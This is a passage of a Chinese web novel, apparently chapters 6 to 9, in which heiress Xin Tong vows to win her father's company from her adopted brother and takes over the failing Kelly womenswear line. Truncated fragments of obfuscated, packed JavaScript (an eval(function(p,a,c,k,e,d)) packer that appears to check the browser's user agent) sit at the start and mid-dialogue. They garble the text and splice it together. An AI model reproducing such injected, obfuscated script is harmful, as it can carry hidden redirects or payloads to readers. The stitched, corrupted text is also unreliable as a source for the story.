0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊,天麒,别多想,你姐姐怎么会不喜欢你呢?我们都是一家人啊。” 自己爸妈安慰那男孩的声音一字不落传进辛桐耳朵里。 她站在原地,不远不近看着前方三人,看见何天麒正沉沉盯着她,似是在观察她的表情,半晌后才慢慢低头露出一个笑。 “嗯,谢谢爸爸妈妈。其实,我今天也有一个好消息要告诉你们。” 何天麒站得挺拔,敛着眉,声音清晰。 “我上周已经收到三所世界名校offer,慎重考虑后决定选择香港大学经管学院。” 听到这突如其来的惊喜消息,何川和辛文清二人皆是惊讶无比,笑开了花。 亚洲顶级学府,无数商科人才和金融大鳄的摇篮,自是与她那种给钱就能混的野鸡学历天壤之别。香港紧邻大陆又接轨国际,毕业后学成归来直接进入自家集团锻炼学习,为未来继承家业做准备——经典的顶级豪门精英继承人培养思路。 儿子金榜题名,父母欣慰鼓励,如此和谐美满的一幕,落在辛桐眼里却像刺一般,扎得遍体生疼。 “姐姐。” 辛桐又被何天麒一声唤回神智。 “你也很为我高兴,对吧。” 没人回答。 周围陷入寂静,何川这才逐渐从自己儿子被名校录取的喜悦中抽离出来。 刚刚自从得知真相以后,辛桐就全程保持缄默,一句话也没说过。想到这里,他才意识到什么,转头去看辛桐的表情。 本以为她还会像以前那样大哭大闹一场,咋咋呼呼娇纵耍赖,可是转过头,却只见女孩垂着头,安安静静,发丝遮挡了脸,看不清表情。 何川眼中闪过诧异。 也许这次她真的听话妥协了? 想到这里他脸上表情缓和不少,才刚想说些安慰的话,却不想,下一秒,就看见眼前这个被所有人都瞧不起的废物女儿突然抬起头。 “是,我非常为你高兴。” 辛桐直视着何天麒,一字一句道。 “你飞上枝头变凤凰的美梦就要被打破了,我太为你高兴了。” 在场三人俱是一怔。 就连一向看上去没有任何表情破绽的何天麒,此时也愣怔住。 7. 第 7 章 “我妈是辛文清,我爸是何川。1998年我爸创办森川服饰,这26年间我是他们两人唯一的亲生孩子。森川集团从一家开在郊区的小小的服装厂发展到如今已经成为年营收几百亿的龙头企业,而我是这家企业成立26年来唯一承认的合法继承人。” “你是不是特别得意?被盛大的仪式承认,被全世界偏向,被拿来和一个废物对比衬托出你的沉稳优秀,以为这个豪门少爷继承人的身份已是囊中之物?” “毕竟,如果换做是别人,明知自己是废物怎么敢反抗,只会一哭二闹三上吊,更惹人厌烦,最后只能亲眼看着你抢走本属于自己的位置。” “可惜。那是别人,不是我。” 辛桐理了理发丝,背脊挺得笔直,平静地站在宴会厅中央。 头顶灯光闪亮,照在她身上。她抱胸,一字一句道。 “别人也许会屈服,会妥协,但是我辛桐永远不会。” “属于我的东西,谁也别想抢走,这辈子都是我的。” 话音落地,偌大的宴会厅鸦雀无声。 半天无人说话,何天麒努力平静着呼吸,毫无破绽的表情已经出现裂痕又被强行压下。他从未想到那个梧城谁都可以嘲笑一声的废柴草包却敢当众说出这番话。 袖管中拳头握紧又松开,他喉结滚动,刚想开口,却再次直接被清脆坚定的女声打断。 “你不是说他是你儿子吗?” 语气平静,换了个方向,这次对准的是自己亲生父亲,何川。 “那正好。” “我是你女儿。他是你儿子。” “你的公司到底给谁,各凭本事吧。” 惊雷一般的话语说出口,在场三人都被砸得一震。 辛文清一下子站起身,“桐桐!” “管理企业千头万绪,更别说是森川这样庞大繁杂的企业,那更是难上加难。你怎么有能力做得了这样的事?”辛文清在一旁极力低声劝阻,“人要有自知之明,不要异想天开,你没有那个能力,爸爸妈妈也一样爱你……” “姐姐。”何天麒在这时终于开口,声音像是又恢复了之前的镇定,“你不用为了证明什么而强撑,毕竟大家都知道的,你……” “又要说我是废物?” 辛桐打断他的话,嗤笑一声,明明生着一张清纯古典的脸,说出来的话却让人大跌眼镜,“我要是现在照着你裤/裆来一脚,让你变太监,你是不是也变成残废的废物了?” ……何天麒脸色瞬间僵硬。 直白到有些下流的话就这样直愣愣砸在他脸上,他抿紧唇。 他眼神里透着一丝难堪,还有着对于辛桐大咧咧不假思索说出这番话的震惊。 既是震惊于她不拘小节的粗俗,更是震惊于她竟然三言两语就能把“废物”的谈话定义从能力上解构为身体上,还让在场的人都说不出话来反驳。 ……有那么一瞬间,一个离奇的想法突然浮现。 他忽然隐约觉得,或许自己和其他所有人都小瞧了这个低俗好色的蠢货草包姐姐。 “各凭本事?” 旁边忽然传来一道低沉的声音。 是何川。 这位偌大商业帝国的董事长此时脸色极其不好看,盯着面前不服管教还想掀桌的废物女儿。 何川一字一句,“你想怎么各凭本事。” 辛桐还未说话,旁边何天麒却骤然开了口。 “看来姐姐是想在所有人面前证明自己的能力。” 他语气温和,声音低沉清润,像是突然不经意间想到什么,语调一转,“听说森川集团旗下那条叫Kelly的女式西服线连年亏损,爸爸也一筹莫展。不如——” “就让姐姐来试一试吧。” 此话一出,何川夫妇二人均是有些愣怔住。 Kelly是森川集团旗下一个女士西服品牌,是何川为了多品牌和功能性方向发展而成立的新服饰品牌。 本是野心之作,却没想到市场反应低迷,长时间入不敷出,连换两三次策略都没能挽救,最终只能逐渐缩水,到如今成为整个森川集团旗下唯一亏损的子品牌。 森川这几年发展势头越来越强劲,一众子品牌都越做越好,却只有Kelly入不敷出,连负责人都换了两三个,现在谁都不想去承接,摆明了是烂摊子。 “天麒!” 辛文清迅速反应过来,立刻反对,“那条线换了三任经理人都没救起来,已经亏损了几个亿,明年就打算砍掉了,你姐姐怎么做得到?” 何天麒被提醒后低头笑笑,声音温和。 “嗯,对,是我考虑不周了。姐姐,如果做不到,还是不要勉强,就当我没有提过。” “……”辛桐简直想笑。 她算是看清楚了,何天麒此人明面上冷静理智、彬彬有礼,任谁看了都会说一句年少有为,实际上两面三刀,年纪轻轻却一身阴暗心眼。 在他人眼里,比起辛桐这种每天糊里糊涂醉生梦死的二世祖,何天麒这种浑身沾满精英味的人倒是真的更适合当商人。 ——只可惜,辛桐从来不关心他人怎么想。 在她的世界里,唯一的准绳是她自己。 “少废话。” 她懒洋洋地扬起一个笑脸,笑得有点顽劣。 她把所有阴暗心思照单全收,坦荡得惊人,身上透出一股混世魔王般无法无天的狂妄。带着一点愚蠢,一点嚣张,一点天下无难事的果决。 “知道你是激将法,可是我辛桐偏偏从小到大天不怕地不怕。” “没有我过不去的坎,没有我做不到的事。” 她迎面对上何川透着震惊的复杂眼神,笑道,“爸爸,如果我做到了,你怎么办?” 她看着自己爸爸转过身,走了几步。裁剪得体的手工西装被专人熨烫得服帖,此时却多了些烦躁的褶皱。回头,何川再次抬眼看她,辛桐大咧咧坦荡回视。 ——这是在逼他表态。 何董事长终于在和自己这个废物女儿的无声对峙中败下阵来。 “你真以为你做得到?” 声如洪钟,语气低沉。 “你要是一年之内把Kelly这条线做到盈利,做到那么多职业经理人都做不到的事情,森川的股份我给你10%。” 周围一片寂静。 何天麒面上不显,袖管里握紧的拳头却早已出卖他的内心。 家里权威代表话事人终于发话,等同于一锤定音。 整个森川集团第一大股东是何川自己,46%。倘若不出意外,他退位之后,这46%的归属权将会全部由下一个接班人继承。而如今,何川竟然已经松口愿意抽出10%,给辛桐做这个赌注。 抬眸,看了一眼对面。 那年轻女孩却好像还没有意识到森川集团董事长这句10%的承诺意味着什么,抱着胸散漫地站着。 高定礼服衬得她皮肤细腻明艳动人,这种关键时候,她居然还在低着头百无聊赖地欣赏着自己指尖五颜六色镶着巨大钻石的美甲。 ——一整个美丽废物。 何天麒轻轻眨眨眼,呼吸之间已经平静下来。 他突然觉得自己实在杯弓蛇影。就算何川做出了这10%的承诺,那又如何?要眼前这个蠢得挂相的女人把Kelly在一年之内做到盈利,等于天方夜谭。 如果他没有猜错,何川本人应该也是这样想的。无法兑现的承诺,自然可以押上天南海北的赌注,反正到头来都只是镜花水月一场空。 他正独自低头思考着,却被一道年轻女声打断思绪。 “爸爸,其实这么多年,你一直都不了解我。” 那个美丽废物收回了欣赏自己美甲的视线,重新抬头和何川对视,笑得明媚。 “我一旦要,就要全部。” “我要你把你的46%股份全部给我继承。” “我要谁都没资格,也没能力,来和我抢。” …… 梧城帝国酒店宴会厅重归寂静。 人都走了,头顶灯光透亮,空荡大厅里只有辛桐一个人孤零零站着,裸露的肩头显得她身影单薄纤瘦。 “哎你刚刚偷听见没,森川的何家内部正争家产争得凶呢。” “领养了个儿子,亲生女儿逼宫,刚刚何川沉着脸就走了。” “何止啊!他女儿还说要证明能力,要是完成任务了就让何川把家产全给她。” “他女儿?……就是那个听说整天都泡吧包鸭子的辛桐?” “就她还想拿家产?真能吹!” “何川居然还真答应了?” “答应又怎么样,反正辛桐一定拿不到啊。” “算啦,跟咱们有什么关系,咱们看看热闹就行了。” “小点声!人还没走呢!就站在那!你们工作不想要了!” 辛桐微微转头,身后躲在柱子后面的几个服务生迅速噤声,那些细小的动静一下子全都没了。 脚步声有些慌乱,看样子是一下子都跑没影了。 ……这下,大厅里是彻底只剩她一个人了。 头顶水晶 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带着黑色冷帽,金色发丝凌乱从边缘溢出几缕,垂在耳畔。宽大衣衫,双手插兜,散漫无比地靠墙站着。 小头,窄脸,那双黑白分明的眼睛压在立体的眉骨之下,就这样直勾勾地朝她看过来。 ……辛桐呆滞在原地。 偌大安静的宴会厅,珠光宝气的名利场,璀璨耀眼的星空顶。 无人说话,只有他们两人,隔着不远不近的距离。 “你怎么会在这里!” 她想也没想就脱口而出。 过了几秒才觉得不对,能出现在这里,说明他是被邀请参加宴会的。 他是喻承锦的朋友,知名舞者,想来也是同一圈层,作为宾客出现在这里也不奇怪。 所以,她此时最应该问的是…… “你怎么还在这里!” 离宴会结束、宾客离场都已经过去一个多小时了! 他到底是站在角落里这样漫不经心地看了多久! 辛桐朝左右空旷的大厅看了看,意识到了什么,实在是不敢相信。 这么说,从一开始她的“清冷白月光”计划开始,他就一直在人群中。 亲眼目睹了自己装了个大逼又当众摔倒、想在父亲面前表现一番又被骂、宾客离场后接受父母另培养继承人、以及最后在便宜弟弟面前耍狠抢家产。 ——这所有场景,他全都亲眼看到了? 从刚刚到现在,竟然没有一个人发现他单独留了下来。 辛桐甚至都能想象他那副好整以暇的样子,一定是和那天在喻承锦别墅二楼平台上一样,淡漠又悠然,观察着自己所有窘迫的时刻。 后脊骨后知后觉涌上一点酥麻,她回过神,直到此时此刻才觉出脸颊上那么一点点的热意。 “……” 辛桐盯着眼前男人那副漫不经心的BKing模样,恨得牙痒痒。 “你为什么要留下来?” 她迅速提起裙摆,男人还没来得及反应,辛桐就已经几步走到了他面前。 瞪他。 “来看我热闹?为了嘲笑我?” “不就是之前把你错认成男模了吗。” “真记仇!” “你都看到了?……全部,全部都看到了?” “鞋子卡住之后摔了一跤也看到了?” “被我爸妈抛弃也看到了?” “说要把何天麒踢成太监也看到了?” “……” 问题一个接一个。 真聒噪。 江崇焰垂眸,看着眼前气急败坏的人。 她穿着礼服,淡妆。 瞳孔清亮,眼神却躲躲闪闪,还轻微皱着眉头,仰头瞪他。 两人此时站得极近。 他比她高出一个头,两个人的影子纠缠在一起,被宴会厅角落里厚重柔软的象牙白色帷帐包裹。 一阵空调风吹过,她身上幽微的香气拂过来,是浅淡的花香。 …… 辛桐还在怒气冲冲,却没想到眼前的男人迅速收回了在她身上的目光,双手插着口袋,一句话也没说,转身就走了。 只留给她一个冷酷的背影。 “喂!” 辛桐睁大眼睛看着那人迅速抽身、毫不留恋远去的背影。 “……莫名其妙!” 她在心里骂,真是个怪人! 8. 第 8 章 开局人设:整天沉迷男色、愚蠢狂妄的草包废物。 开局背景:被全城人不待见,被爹妈抛弃,还有一个精英对照组弟弟。 终极目标:从精英弟弟手上抢回家产。 开局任务:拯救一个已经亏损了几个亿的烂摊子项目。 ——假如玩游戏随机到这样的天崩开局,辛桐大概率会骂骂咧咧选择“刷新”,直接重开。 只可惜,这是她的现实人生。 * 一辆粉色兰博基尼穿过层层车流,急速行驶在城市中央。豪华跑车光是外观就已经太过与众不同,少女粉色更是成为一抹极其抢眼的亮色,穿行在一众灰黑色的车流中。 兰博基尼后视镜上挂着一条长长的带子。 带子足有两三米长,随风乱飞,被风吹得哗啦啦响。 上面白底红字,写着一行大字: ——“恭喜辛桐仙女喜提Kelly女装线!” 豪华跑车招摇过市,带子随风飘扬,一路溅起无数喇叭声和讨论声。 “我靠,那谁啊。” “兰博基尼?估计是哪个豪门名媛吧。” “挂的长长的啥东西,操,都飘到我挡风玻璃上了!” “上面写的什么字……卧槽,是辛桐!” “听说没,何川大阵仗领养了个儿子,结果被辛桐知道了,书还没读完就跑回国逼宫,要回来争家产呢!” “结果何川被她烦得不行,随便找了个效益最差的女装线给她当作考验。” “Kelly?我老板之前就关注过,招标都没人去,听说都亏了快十个亿了。估计没过多久就要彻底倒闭了。” “哈哈哈!那辛桐不是被架在这了吗!她没做成不是得被笑死啊!” “废话,你难道还真觉得她能做成?谁不知道何川是随便找了个不可能完成的任务糊弄她。” “辛桐被笑死的事哪止这一件?她之前那些混账样,整个梧城都知道……” “前几年张家老爷子办寿宴,她叫了一群鸭子过来跳钢管舞,差点把张家老爷子气得昏厥。” “曾经最高纪录在一家私密会所里呆了28天没出来,刷爆了五张卡。何川亲自跑去抓人,结果一开门就看见十几个裸男围着她,口口口口。” “最近的当红新锐影帝梁洛明,知道吗?当时还没火,对她痴情一片,两个人恋爱海誓山盟。结果没谈一个星期就本性难移,被当场捉奸在夜店,气得梁洛明分手以后一门心思搞事业,都拿奖变影帝了。” “还有还有……” 兰博基尼“刷”地停下,轮胎擦过地面发出尖锐刺耳的声音。 门打开,辛桐一身大红色露背长裙,黑发挽起精致的发髻,黑色墨镜几乎挡住了一大半的脸。 高跟鞋踩在地面上的声音清脆好听,钻石耳环在她行走时前后晃动,衬得她脖颈修长,明艳无比。 她就这样耸着肩凹着锁骨,顶着周围无数白领打工人愣怔惊讶的目光,身姿聘婷地走进了Kelly女装办公楼大门。 “Hieverybody!” 前台以为自己看花了眼,瞠目结舌地眼睁睁看着穿得如同明星走红毯一般的陌生女人,一步步朝她走来。 千娇百媚地摘下墨镜,冲她做了一个扭曲的wink。 “宝宝你好!” “啊,您,您好。” 前台小妹妹被吓傻了,从没见过这种阵仗, “请问您找谁?” 好看的眉毛困惑地扬起,她手指摸着下巴,回忆般重复了一遍, “对哦,我找谁来着?” “……那您叫什么,我给您登记。” “大家的目光就是我的兴奋剂,我是BOOGIE王子异。” “好的,王子异。” 眼看着前台小妹妹就要往电脑上打字,辛桐一把按住她的手指,笑眯眯的。 “宝宝,开玩笑的。” 辛桐冲她飞吻, “我是你老板。” 前台大脑宕机了几秒钟。 终于在这位与众不同的夸张做派中猛然回忆起了什么昨天晚上才在本地营销号上看见的豪门八卦。 记忆里出现在手机上的那张脸和面前的这张脸慢慢融合到一起。 她浑身一抖,惊讶地捂住嘴。 “啊!” 她终于意识到站在她面前的就是那位传说中的人物,立刻哆哆嗦嗦站起来。 “好的!我,我这就带您上去!” 辛桐踩着高跟鞋正准备转身离开,突然前台怯怯叫住她,指了指她随手遗落在桌面上的墨镜。 “Oops,sorry。” 夸张口音的英语,嗲嗲的声线。 她翘起兰花指,用两根手指捏起了墨镜腿,转头对前台眯着眼笑。 转过身,余光就已经扫到周围已经有人聚集并朝自己看过来。全是Kelly内部的员工,有人还默默举起了手机,又迅速若无其事地收回。 前台小妹妹在前方小碎步带路,看了一圈周围,压低声线兢兢业业地说: “老板,用不用让他们删除照片和视频?” 堂堂名媛老板,被员工像看猴一样围观,多不好啊。 这声老板叫得辛桐浑身舒畅。 “不用。随便拍。 辛桐懊恼地叹口气。 “今天出门前已经反复叮嘱过自己,不要美得太超过。选了一件低调的裙子出来,却没想到还是如此吸睛。失算了。” “不过我们公司员工审美非常好,懂得欣赏美的事物,很不错。” 下一秒,前台差点被台阶绊倒。 “嗯?怎么了?” “……没,没什么。”前台动作顿了一下,转过头,抱歉地笑,“刚刚被您美晕了,都没看清路。” 辛桐眯起了眼睛,“你叫什么名字。” “钱多多。”她小心翼翼回答。 电梯“叮——”地到达最高层。 “好名字。” 辛桐冲她挥挥手指,头也不回地走了出去。 * Kelly女装公司最高层,总裁办公室门前走廊里。 一位年轻女性站在辛桐面前。一身职业西装,干练马尾,胸前挂着的牌子写着“总裁秘书”。 秘书面带歉意,鞠躬。 “实在抱歉辛总。我们总裁今天请假了,不在公司。” 辛桐往她后面看了一眼。 只见总裁办公室大门紧闭,但是灯却是亮的,甚至还能听见里面传来什么说话声和音乐声。 很明显有人。只是不想见客。 或者说,不想见她。 “……”辛桐和秘书在尴尬氛围中对视,秘书为难低头。 嗯。早就料到了。 Kelly目前最高级别的负责人职位是总裁,由何川的一个远房亲戚何向荣担任。此人已年过五十,小时候逢年过节辛桐还偶尔会见到他,只觉得一身腐朽味,惯会趋炎附势。熬到这个年纪也做成了高层,因此被何川调来Kelly当总裁。 在Kelly真正做执行的是总经理CEO。这位置换了三任职业经理人,但都没能挽救连年的巨额亏损,直到现在无人敢上,悬空已久。 而辛桐这位总集团董事长亲女儿的空降,就是直接奔着总裁这位置来的,基本将会代行何向荣所有的权力。 所以第一次见面何向荣就闭门不见,是再明显不过的下马威。 “他请假了,其他人呢?” 秘书轻咳两声,脸有些红,“也,也都请假了。” 所有高管全部在今天请假,这几乎是不可能的事。 她说完也知道这理由不会被辛桐相信,可是卑微打工人只能原样复述,身不由己。 她一早听说这位梧城鼎鼎有名的娇纵名媛,已经做好最差的心理准备被炒鱿鱼。 却没想到,半天都没听见对面的声音。 她战战兢兢抬头看,发现那年轻女孩正若有所思地靠在窗边。 一袭红裙艳丽无比,正在看窗外的风景。 今天阳光正好,蓝色大楼如同剑一般直指天际。 这幢大楼在森川集团名下,视野一绝。 即使Kelly已经大幅缩减开支,这幢办公大楼也可以照常使用。 “天气真好啊。” 秘书听见辛桐感叹。 她不敢搭腔,心里打鼓,正犹豫怎么开口送客,就突然听见: “这么好的天气,适合来一盘紧张刺激的植物大战僵尸。” ……直到秘书盯着电脑上steam的下载进度条的那一刻,她才意识到这是多么荒谬的一幕。 大小姐争着闹着要玩电脑,她思来想去只能带去六楼公共办公区,找了一个空位。把IT叫过来开电脑的时候,他人都懵了,再三确认是不是要下植物大战僵尸。 “要steam上的正版。” “钱我 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电脑上,游戏下载进度条到了60%。 她突然转头问秘书,“饿不饿?” 秘书没反应过来,“什么?” 辛桐懒洋洋打了个响指。 “给你们定了下午茶。” 与此同时,三辆车齐刷刷停在公司楼下,下来几个人,打开后备箱,迅速开始搬箱子。电梯一路上行,没过几分钟六楼办公区门就被敲开,茶水间的桌上迅速被琳琅满目的食物摆满。 工位上冷淡死气的打工人终于有了反应,呆愣愣地看着桌上热气腾腾的食物。很快有眼尖的人发现:“天哪,居然是琥珀餐厅!” 梧城赫赫有名的高级西餐厅,全预约制,甚至不对非会员开放。 再一看其他的食物包装,更加瞠目结舌。 西餐点了琥珀餐厅,中餐点了楼上楼,甜品点了FrenchMemory,全是高档餐厅的外送。三种种类任由选择,从门口的保安保洁,到办公室高管,一层到十层每一层全都统一送餐,所有员工全部都有份。 秘书目瞪口呆看着工作群里其他层的员工发出来的惊叹。 这一顿下午茶,人均餐标基本已经快两千了! 辛桐懒懒靠在办公椅上。 她抱着胸,向后躺靠着,笑眯眯地看着周围被惊到哑口无言的员工。 十秒过去。没人动。 十五秒过去,开始有一个年轻女孩小心翼翼站了起来。 走到辛桐面前鞠躬问好,试探性拿了一份西餐和一份甜点,兴高采烈回工位开始吃了。 有了那个女孩带头,其他人互相观察着终于也开始动身。 没过多久,人群逐渐把茶水间桌子包围。牛排和小蛋糕的香气氤氲在空气中,食物起到了最大、最直接的破冰作用,此起彼伏的“谢谢老板”在办公室里响起。 秘书已经全然呆住了。 她还没从这突如其来的员工福利中回过神来,下一秒就听见那位大小姐懒洋洋问: “六楼都有哪些部门。” 秘书立刻站直。 “公司由于长期亏损,陆陆续续降本裁员了一大批。现在六楼的几个主要部门里有市场部,设计研发部,销售部……” 辛桐打断,“这几个部门的经理都在吗?” “市场部经理今天请假了。” 辛桐笑,“部门经理也和何向荣总裁一样请假?” “不是,那个经理今天生理期,是真请假。” 脱口而出后,秘书才陡然意识到自己说了什么。 部门经理真请假,难道何向荣总裁是假请假? 她瞪大眼睛,一把捂住了嘴。 “不不,我是说……” “哈哈哈哈!” 辛桐笑得前仰后合。 “你叫什么名字。” 秘书红着脸,站直。 “权莉。” 辛桐翘着二郎腿,看向窗外,唉声叹气。 “这么好的天气,怎么大家都呆在办公室里上班呢?” 她从包里抽出一沓支票簿,翘起兰花指,龙飞凤舞签下几个字。 跨啦撕下。 轻飘飘递给权秘书。 “今天公司所有员工全部放假一天。每人发五千块奖金。钱我出。” 9. 第 9 章 人群沉默。 下一秒,爆发出巨大的欢呼声。 “老板万岁!” “老板牛逼!” “老板是仙女!” “老板你是我的神!我愿意永远为公司当牛做马,我是公司的狗,请尽情使用我吧,我已经变成公司的形状了……” 群魔乱舞,像是峨眉山上的猴子,没过一会整间办公室的人都跑没影了。 辛桐拍拍呆立的权秘书的肩膀。 “你也放假。” ——“等等!等等!不准走!” 身后突然传来一阵男人的嚎叫声。 只见一个中年男人从办公室里冲出来,试图去把员工拉回来,却没想到员工溜得太快,一瞬间办公室里早已空空如也。 “这位是高正光主管。”辛桐耳边迅速传来权秘书压低声音的介绍。 “哦?不是说所有主管今天都请假,不在公司吗?” 大小姐惊讶的语气,像是根本没想到高管会出现。 高正光咬着牙站在原地。 辛桐这样乱七八糟地胡闹一通,又是打游戏又是请高档下午茶又是放假发奖金,所有岗位上全都没人在岗了,整间公司都被搞得一团乱。 如果他再继续按照何向荣的吩咐,装请假,不出来接待,估计之后整栋大楼都能被辛桐炸了。 高正光像是落败的公鸡,抬眼看了一眼辛桐,又低头叹口气,像是终于认输了。 “辛总,这边请。” * 会议室里坐满了人。 高正光把各部门负责人都叫了过来,辛桐坐主位,他坐副位。 欢迎新总裁的话说了十分钟,辛桐昂首挺胸满意地听着。 可是还没听够,这个拍马屁的环节就结束了。 紧接着各部门经理就开始一个个上来讲ppt。 满屏的各种数字、ROI、xx率、同比环比, 辛桐皱着眉,发现自己一个字也看不懂。 各经理一早就听说了有新总裁空降,汇报工作时都打起了十二分的精神,一个个都大显神通争相表现,连高正光都看得眼花缭乱。 “目前还有很多问题亟待解决,总裁您看我们应该怎么部署呢,我们听您指挥。” 最后一人汇报完,所有人屏息凝神,齐刷刷转头,看向主位。 只见主位上那位新总裁,戴着墨镜,抱着胸,一言不发。 周围人一看这表情心里都一咯噔。 看样子,新官上任三把火,他们以后的日子不好过了。 高正光心里也没底,身体凑过去,轻声问,“辛总,是有什么不满意的吗?” 墨镜遮挡了辛桐的双眼,她依然一言不发。 高正光心里更慌了,脑中瞬间头脑风暴想出好几种安慰领导的话术,更凑近了些准备开口,下一秒却一愣。 他听见,寂静的办公室里,响起了轻微的呼噜呼吸声。 所有人都愣住了。 ——只见墨镜滑落,辛桐闭着眼,微微张着嘴,头靠在椅子上,显然睡得正熟。 “……” “咳咳!” 高正光沉着脸,用力咳了两声。 “嗯?怎么了怎么了?” 辛桐一个鲤鱼打挺直起身子,迷茫地揉揉眼睛,打了个巨大的哈欠。 “好,好,汇报得不错,公司有你们,我就放心了。” “散会。”她一身轻松站起身。 “等,等等!”高正光无奈叹气,“辛总这是准备去哪?” 辛桐一脸理所应当地把手指伸到高正光面前。 高正光一愣,看了看她的手指。上面什么都没有,除了指尖上各种五颜六色的硕大钻石。 “您的意思是……”高正光努力猜测,“Kelly下一季样衣,用钻石类型的装饰品?这需要和研发部以及几位设计总监探讨一下,我马上就去组织会议——” “钻石都被我抠掉了。我要去做美甲。” 丢下这句话,辛桐冲人群做了个飞吻,拎上包踩着高跟鞋走了。 “……” 高正光愣在原地。 他花了好几秒才找回神智,满眼的不可置信。 谁能相信,在商界和服装行业叱咤风云的大佬董事长何川,居然能生出如此不着四六、愚笨无知的女儿! 再一看,周围的人都眼观鼻鼻观心,一副憋笑又不敢笑的样子。会议室门口好似还有几个员工躲躲闪闪的身影,隐约传来哄笑声。 高正光顿觉心累,知道新总裁这副贻笑大方的文盲行为估计现在已经通过互联网传遍公司了。 他起身追了出去。 * 辛桐终究还是没去做美甲。 她被高正光追上,带着去了代工厂参观。 新总裁来公司的第一天什么正事都没做,到最后总得干点什么吧? 眼看着高正光带她来了工厂,眼前琳琅满目全是Kelly女式西服的样衣,她这才振作起精神。 终于到了辛桐感兴趣的地方了。 因为,她大学在国外,学的就是服装设计。 辛桐以前是美术生。 从小整天买漂亮衣服宝宝钻石,家里又是直接从事服装行业的,所以从小耳濡目染,喜好和直觉都极其突出,她觉得自己以后会学服装设计是再顺理成章不过的事情。 只不过,她知道周围二代学的都是商科,因此心里还惴惴不安了好一阵子,生怕爸妈会勒令她去学那些无聊的什么国际贸易企业管理。 却没想到,高中的时候和爸妈说了自己想读服装设计的想法, 何川和辛文清立刻同意,极其大方地说学什么都行。 她当时高兴得很,觉得爸妈真是开明。 ——直到现在,她才觉察出不对劲。 何川和辛文清早就已经瞒着她领养了何天麒。 她读高中的时候,何天麒已经13岁左右,上初中了。 有了另外的更好的选择,何必再逼迫原来的那个成材? 无论辛桐学了什么“没用”的东西,无论她有多么不学无术,哪怕只能上野鸡大学、成绩倒数、留级、毕不了业,何川和辛文清都不会在意了。 时至今日,辛桐竟恍惚觉得,自己走到今天这一步,竟像是被故意养成这样的。 …… “这就是下季度要出的新品?” 辛桐走上前,眼神锁定眼前的女式西服,上手摸了上去,神色极其严肃。 “放心。” 辛桐姿态很高,气沉丹田。 “我是专业的。” “这衣服设计上有什么问题,我一看就知道。” 一旁的工厂主任和高正光看了她这副样子,都屏息凝神不敢说话。 高正光从没见过辛桐这么认真严肃的样子,暗暗吃惊。 他想起之前听过的关于这位赫赫有名的草包千金的英勇事迹,蓦地想起来,辛桐在国外大学读的就是服装设计。 何川从小富养女儿,这是整个梧城都知道的事情。 有钱人家就算再怎么纵容,归根结底也进行的是精英教育。大小姐就算再怎么不靠谱,也是从小耳濡目染,艺术修养和观点也一定有其过人之处。 想到这里,高正光终于打起了精神。 今天总算能有点收获了! 他和工厂主任对视一眼。 两人都直起身子,一个掏出手机,一个拿出纸笔,准备记录。 “辛总,您看看这产品有什么问题,我们回去立刻改。” 记录领导专家宝贵意见的准备姿势都已经摆好了。 却没想到,这位专家低头摸了衣服半天,都没说出来一句话。 不知多少秒过去,突然,高正光听见专家的声音。 就说了三个字。 ——“有点丑。” 高正光手抖了一下,笔掉在了地上。 “……怎么个丑法?”试探性地问。 辛桐手拿着西服,翻来覆去地看,皱着鼻子撅着嘴。 “不知道。” “就是丑。” “……” 高正光站在原地,慢慢呼出一口气。 他居然会对辛桐多了那么多不切实际的幻想! 此人就是不学无术、脑子空空、愚蠢狂妄、无知肤浅! 高正光收起了无用的纸和笔,脸上的表情已经是无语至极。 他找了一个理由,用最快的速度走完了全程,只想赶紧把这尊大佛送走。 工厂门口。 高正光把人送到门口,皮笑肉不笑,“您还有什么吩咐?” “啊,有。” 辛桐对着车窗补了补口红,头也不回地说: “权莉秘书,调到我下面,做我的秘书。” “有个叫钱多多的前台,升成行政主管。” 车门关上,一踩油门,粉色劳斯莱斯扬长而去。 * “哈哈哈哈哈!” 宋青云坐在劳斯莱斯副驾驶,快要笑死。 “丑丑丑,你学了四年服装设计就会一个‘丑’字,我看你的毕业设计才是最丑的!” 辛桐手扶着方向盘,姿态悠闲。 她被骂也不生气,理直气壮。 “这叫有审美观,懂吗?” 在她看来,那件女式西服就是款式普通且质量一般啊。 在工厂里她还顺带问了一句价格,高正光告诉她目前定价是接近500元。 Kelly定位是平价和高性价比,500块买一件这种衣服,女性消费者又不是傻子,其他竞品选择太多,难怪卖不动。 “我不用跟你们扯什么高深的、专业的,我看一眼就知道美和丑。我欣赏所有美的东西。” 宋青云揶揄看着她。 “美的东西?比如呢?” “比如……” 辛桐淫/笑道,“美女和帅哥的肉/体!” 绿灯亮起,她一脚踩下油门。 “今晚夜店趴体走起!” “……”死党已经沉迷色情彻底没救了,宋青云知道劝也劝不了。拿起手机准备刷刷,却突然发现自己哥哥给自己发了一堆截图。 她定睛一看,惊讶捂住嘴。 “天哪!辛桐!” “你在网上火了!” “你今天去Kelly的所有事都被人拍照传上网,已经传遍整个职业论坛了!虽然公司名打了码,但是就你这作风加上整间公司的描述,谁都知道是辛桐和Kelly了,现在几乎整个服装行业都在吃瓜!” “哦?” 辛桐发丝被风吹起来,她扬起嘴角,满脸得意, “大家对我管理公司的策略这么感兴趣?” “不用夸,不用夸。” 宋青云冷笑。 “没人在夸。” “0个人在夸。” “Noone''spraisingyou.誰もあなたを褒めていない。??????? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她身上有一种莫名其妙的迷之自信,觉得再难的事都没什么了不起,喜欢用最简单的思维解决问题。——因为她其实也没那个脑子去拥有复杂思维。 那么想让一家卖女式西服的公司盈利,最根本的问题,是什么呢? 衣服好看。 辛桐一秒钟就给出了答案。 好看? 美? 到底什么是美? 美就是美,没法解释,但是只要看一眼就知道,这就是美的东西。 辛桐脑中突然“噌”地闪过一条白线。 几年以前,她18岁成人那年,何川曾经给她订做过一套女式西装。 是全定制的,工期足足有五个月。那个裁缝是个老爷爷,问了各种各样细节的问题,中间经历了三次试穿和调整。 繁复的花纹选择、多种的布料对比、各种设计的小细节……她至今都记得那件西装抚摸起来和穿上身的感觉,贴合修身,做工精细,面料高级,哪怕大动作都毫无紧绷感,是世界上独属于她的独一无二的西装。 